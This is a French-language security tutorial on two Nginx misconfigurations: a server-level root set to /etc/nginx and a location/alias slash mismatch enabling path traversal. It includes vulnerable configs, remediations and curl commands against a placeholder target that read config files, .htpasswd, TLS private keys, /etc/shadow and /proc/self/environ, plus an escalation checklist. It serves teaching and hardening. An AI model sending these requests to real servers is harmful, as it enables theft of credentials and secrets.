Aller au contenu

Nginx : root global et alias mal configurés

Nginx résout les chemins de fichiers à partir de deux directives : root et alias. Une valeur mal choisie sur l’une ou l’autre expose des fichiers sensibles en dehors du répertoire web, parfois jusqu’au dossier de configuration du serveur lui-même.

root /etc/nginx;
location /login/ {
proxy_pass http://backend:8080;
}
location /static/ {
alias /var/www/static/;
}
location / {
try_files $uri $uri/ =404;
default_type text/plain;
}

La directive root /etc/nginx; au niveau du bloc server s’applique à tous les blocs location qui ne définissent pas leur propre root ou alias. Ici, seul /static/ possède un alias. Tout chemin qui tombe dans location / est donc servi depuis /etc/nginx.

Une requête vers /nginx.conf déclenche la chaîne suivante :

URL demandée → /nginx.conf
root appliqué → /etc/nginx
Fichier lu → /etc/nginx/nginx.conf

L’instruction error_page 404 =200 /error.txt; réécrit les 404 en 200, ce qui peut dérouter les scanners automatiques mais ne gêne pas une exploitation manuelle.

Fenêtre de terminal
# Fichier de configuration principal
curl http://<cible>/nginx.conf
# Configuration du vhost (contient souvent les locations complètes)
curl http://<cible>/conf.d/default.conf
# Paramètres FastCGI (proxy PHP)
curl http://<cible>/fastcgi_params
# Fichiers d'authentification HTTP Basic
curl http://<cible>/.htpasswd
curl http://<cible>/htpasswd
# Certificats TLS si stockés dans /etc/nginx/
curl http://<cible>/ssl/server.crt
curl http://<cible>/ssl/server.key

Si le serveur expose un endpoint qui retourne le contenu d’un fichier dont le nom est un paramètre, enchaîner avec un path traversal depuis la racine /etc/nginx :

Fenêtre de terminal
curl "http://<cible>/../etc/passwd"
curl "http://<cible>/../proc/self/environ"
location /static {
alias /var/www/static/;
}

La location est définie sans slash final (/static), alors que l’alias se termine par un slash (/var/www/static/). Nginx construit le chemin en substituant le préfixe de location par l’alias. Avec /static/image.png, il obtient /var/www/static/image.png. La construction est littérale : le segment qui suit /static est simplement collé à l’alias.

Une requête vers /static../etc/nginx/nginx.conf donne :

URL demandée → /static../etc/nginx/nginx.conf
Préfixe retiré → ../etc/nginx/nginx.conf
Alias appliqué → /var/www/static/../etc/nginx/nginx.conf
Chemin résolu → /etc/nginx/nginx.conf

La remontée d’un cran sort du répertoire /var/www/static/ et donne accès au système de fichiers entier selon les permissions du processus Nginx.

Fenêtre de terminal
# Remonter d'un cran depuis /var/www/static/
curl "http://<cible>/static../etc/nginx/nginx.conf"
curl "http://<cible>/static../etc/passwd"
# Remonter de plusieurs crans
curl "http://<cible>/static../../etc/shadow"
curl "http://<cible>/static../../var/log/nginx/access.log"
# Encodage URL si le slash est filtré
curl "http://<cible>/static..%2Fetc%2Fpasswd"
curl "http://<cible>/static..%2F..%2Fetc%2Fshadow"

Une réponse 200 avec le contenu de /etc/passwd (ligne root:x:0:0:...) confirme l’exploitation. Une réponse 403 indique que la traversal fonctionne mais que les permissions système bloquent la lecture.

1. Identifier les blocs location dans la configuration exposée ou via les headers HTTP
→ Server: nginx → tester les chemins par défaut
2. Tester le root global
GET /nginx.conf
GET /conf.d/default.conf
→ contenu retourné → root pointe vers /etc/nginx
3. Lire la configuration complète
→ identifier tous les blocs location
→ repérer les blocs sans alias propre (héritent du root global)
→ repérer les blocs alias sans slash final sur la location
4. Tester l'alias path traversal sur chaque location concernée
GET /static../etc/passwd
→ contenu retourné → traversal confirmée
5. Escalader la lecture
→ /etc/nginx/nginx.conf (configuration complète, autres vhosts)
→ /proc/self/environ (variables d'env : credentials, tokens, secrets)
→ ~/.ssh/id_rsa (clé privée SSH du compte qui fait tourner Nginx)
→ fichiers de config applicatifs référencés dans la configuration Nginx
  1. Intercepter une requête vers une ressource statique connue
  2. Modifier le chemin pour ajouter .. avant le slash final : /static//static../
  3. Ajouter une cible connue : /static../etc/passwd
  4. Observer la réponse : code 200 avec contenu texte ou 403

Root global : ne jamais pointer root vers un répertoire système. La valeur doit rester dans /var/www/ ou l’équivalent applicatif.

# Vulnérable
root /etc/nginx;
# Corrigé
root /var/www/html;

Alias path traversal : aligner les slashes entre la location et l’alias. Si la location se termine par /, l’alias doit aussi se terminer par /, et inversement.

# Vulnérable (location sans slash, alias avec slash)
location /static {
alias /var/www/static/;
}
# Corrigé
location /static/ {
alias /var/www/static/;
}

La directive root au niveau server s’applique en silence à tous les blocs location qui n’ont pas leur propre root ou alias. Pointer vers /etc/nginx transforme chaque chemin non géré en lecture arbitraire de fichier. Le décalage de slash entre une location /static et un alias /var/www/static/ produit le même effet par construction littérale du chemin. Les deux vulnérabilités sont silencieuses : aucune erreur de démarrage, aucun log anormal avant la première exploitation.